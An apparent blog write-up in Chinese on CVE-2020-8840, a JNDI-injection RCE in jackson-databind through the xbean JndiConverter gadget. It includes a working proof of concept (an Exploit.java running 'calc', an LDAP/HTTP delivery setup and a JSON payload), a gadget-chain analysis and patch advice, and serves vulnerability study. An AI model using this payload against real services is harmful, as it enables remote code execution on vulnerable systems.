CVE-2020-8840:Jackson-databind RCE
影响范围
- jackson-databind before 2.9.10.3
- jackson-databind before 2.8.11.5
- jackson-databind before 2.7.9.7
漏洞类型
JDNI注入导致RCE
利用条件
- 开启enableDefaultTyping()
- 使用了org.apache.xbean.propertyeditor.JndiConverter第三方依赖
漏洞概述
2020年2月,jackson-databind在github上更新了一个新的反序列化利用类org.apache.xbean.propertyeditor.JndiConverter,该类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成RCE。
漏洞复现
环境搭建
pom.xml如下:
<dependencies><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.9.9.1</version></dependency><!-- https://mvnrepository.com/artifact/org.apache.xbean/xbean-reflect --><dependency><groupId>org.apache.xbean</groupId><artifactId>xbean-reflect</artifactId><version>4.17</version></dependency><dependency><groupId>org.slf4j</groupId><artifactId>slf4j-nop</artifactId><version>1.7.2</version></dependency><!-- https://mvnrepository.com/artifact/javax.transaction/jta --><dependency><groupId>javax.transaction</groupId><artifactId>jta</artifactId><version>1.1</version></dependency></dependencies>
漏洞利用
这里使用LDAP的利用方式进行漏洞的利用演示,RMI的方式也是类似的,且RMI比LDAP要对JDK版本有很大的局限性~
LDAP利用方式:jdk版本:JDK 11.0.1、8u191、7u201、6u211之前,笔者这里采用JDK 1.8.0_181
编译Exploit.java
Exploit.java代码如下:
import java.lang.Runtime;public class Exploit {static {try {Runtime.getRuntime().exec("calc");} catch (Exception e) {e.printStackTrace();}}
}
编译Exploit.java文件:
搭建HTTP服务
使用Python搭建简易SimpleHTTPServer服务:
python -m SimpleHTTPServer 4444
搭建LDAP服务
使用marshalsec来启动一个LDAP服务:
执行漏洞POC1
Poc.java代码如下所示:
package com.jacksonTest;import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;public class Poc {public static void main(String[] args) throws Exception {ObjectMapper mapper = new ObjectMapper();mapper.enableDefaultTyping();String payload = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://127.0.0.1:1099/Exploit\"}]";try {Object obj = mapper.readValue(payload, Object.class);} catch (IOException e) {e.printStackTrace();}}
}
之后运行该程序,成功执行命令,弹出计算器:
漏洞分析
首先定位到org.apache.xbean.propertyeditor.JndiConverter类,发现在该类较为简单,且构造函数直接调用父类的构造方法,不过在该类中却调用了lookup对text进行查询,这一点需要留意,看后续是否有与toObjectImpl函数的相关调用点,之后跟进父类AbstractConvert:
在父类中搜索toObjectImpl发现在toObject中有调用,且参数为当前类的text:
之后继续查看toObject的调用,发现在setAsText处调用,且传递的参数为text可控:
综上所述,我们可以指定反序列化类为org.apache.xbean.propertyeditor.JndiConverter,之后指定set方法为asText,之后传递参数为ldap服务地址,之后在setAsText中调用toObject函数,之后在toObject中调用toObjectImp,之后在toObjectImp中执行lookup,从而导致JNDI,最终RCE~
整个利用链如下所示:
mapper.readValue->AbstractConverter.setAsText->AbstractConverter.toObject->JndiConverter.toObjectImpl->lookup
补丁分析
官方在github的更新方式依旧是添加相关类到黑名单,但这种方式治标不治本,后续可能出现其他绕过黑名单的gdaget:
https://github.com/FasterXML/jackson-databind/commit/914e7c9f2cb8ce66724bf26a72adc7e958992497
修复建议
- 及时将jackson-databind升级到安全版本
- 升级到较高版本的JDK。
参考链接
https://github.com/FasterXML/jackson-databind/issues/2620
https://github.com/FasterXML/jackson-databind/commit/914e7c9f2cb8ce66724bf26a72adc7e958992497
CVE-2020-8840:Jackson-databind RCE相关推荐
- com.fasterxml.jackson.databind.JsonMappingException: Multiple back-reference properties with name ‘d
今天在写SpringBoot + JPA的时候报了以下的错误 com.fasterxml.jackson.databind.JsonMappingException: Multiple back-re ...
- java.lang.ClassNotFoundException: com.fasterxml.jackson.databind.exc.InvalidDefinitionException
在引入Jacksonjar包时,运行程序抛出了这个异常: java.lang.ClassNotFoundException: com.fasterxml.jackson.databind.exc.In ...
- SpringBoot与jackson.databind兼容报错问题
SpringBoot与jackson.databind兼容报错问题 ---------------- 1.SpringBoot版本V2.0.0 其依赖的jackson-databind版本为V2.9. ...
- com.fasterxml.jackson.databind.JsonMappingException: No content to map due to end-of-input
作者原创,转载请注明转载地址 第一次遇到该异常,在网上搜了很长时间也没找到解决答案,特此记录 1.异常展示: com.fasterxml.jackson.databind.JsonMappingExc ...
- 【objectMapper实体转换异常】 com.fasterxml.jackson.databind.exc.MismatchedInputException
大家好,我是烤鸭: 采坑实录,想把json数据直接转成对象,其中有个属性是list<T>: 异常 1 com.fasterxml.jackson.databind.exc.Mismatch ...
- 【jackson 异常】com.fasterxml.jackson.databind.JsonMappingException异常处理
项目中,父层是Gene.java[基因实体] 子层是Corlib.java[文集库实体],一种基因对用多个文集库文章 但是在查询文集库这个实体的时候报错:[com.fasterxml.jackson ...
- 报错, nested exception is com.fasterxml.jackson.databind.exc.MismatchedInputException
问题: 2021-03-23 16:57:28.461 ERROR 7912 --- [io-12000-exec-1] c.y.w.c.GlobalControllerExceptionHandle ...
- 报错,nested exception is com.fasterxml.jackson.databind.exc.InvalidDefinitionException??
1. 问题: 2021-01-06 15:43:41.663 ERROR 10184 --- [io-13000-exec-2] c.y.a.c.v1.retcode.RetControlller ...
- SpringCloud工作笔记041---com.fasterxml.jackson.databind.ObjectMapper的使用
JAVA技术交流QQ群:170933152 项目里用到这个: 之前都用阿里,那个fastjson,今天看到了记录 看看我怎么用的: <dependency><groupId>c ...
- 【jackson 异常】com.fasterxml.jackson.databind.JsonMappingException异常处理
[jackson 异常]com.fasterxml.jackson.databind.JsonMappingException异常处理 参考文章: (1)[jackson 异常]com.fasterx ...
最新文章
- Mix3D:大规模三维场景的数据增强(3DV2021)
- sql中varchar(n),nvarchar(n) 长度性能及所占空间分析
- Android-- FragmentStatePagerAdapter分页
- Mybatis优缺点
- TF之AE:AE实现TF自带数据集AE的encoder之后decoder之前的非监督学习分类
- Python中生成一个指定长度的随机字符串实现示例
- 关于SVG文件在Firefox中正确显示的研究
- TypeScript里的类型合并操作符
- 命令行下mysql新建用户及分配权限
- IOS应用开发版本控制工具之Versions使用,iosversions
- python requests_一起看看Python之Requests库
- Java学到什么程度可以找工作?
- 时域,空域,频域的基本概念
- JDBC连接数据库遇到的“驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。”问题解决方法
- 在GPT分区的磁盘上创建ESP分区图文教程
- 谷歌adsense作弊的方法
- python中使用virtualenv库创建虚拟环境的问题
- // 完整的COM例子
- Cookies 和 session
- 团体程序设计天梯赛-练习集 L2-028 秀恩爱分得快 (25 分) (详细解法)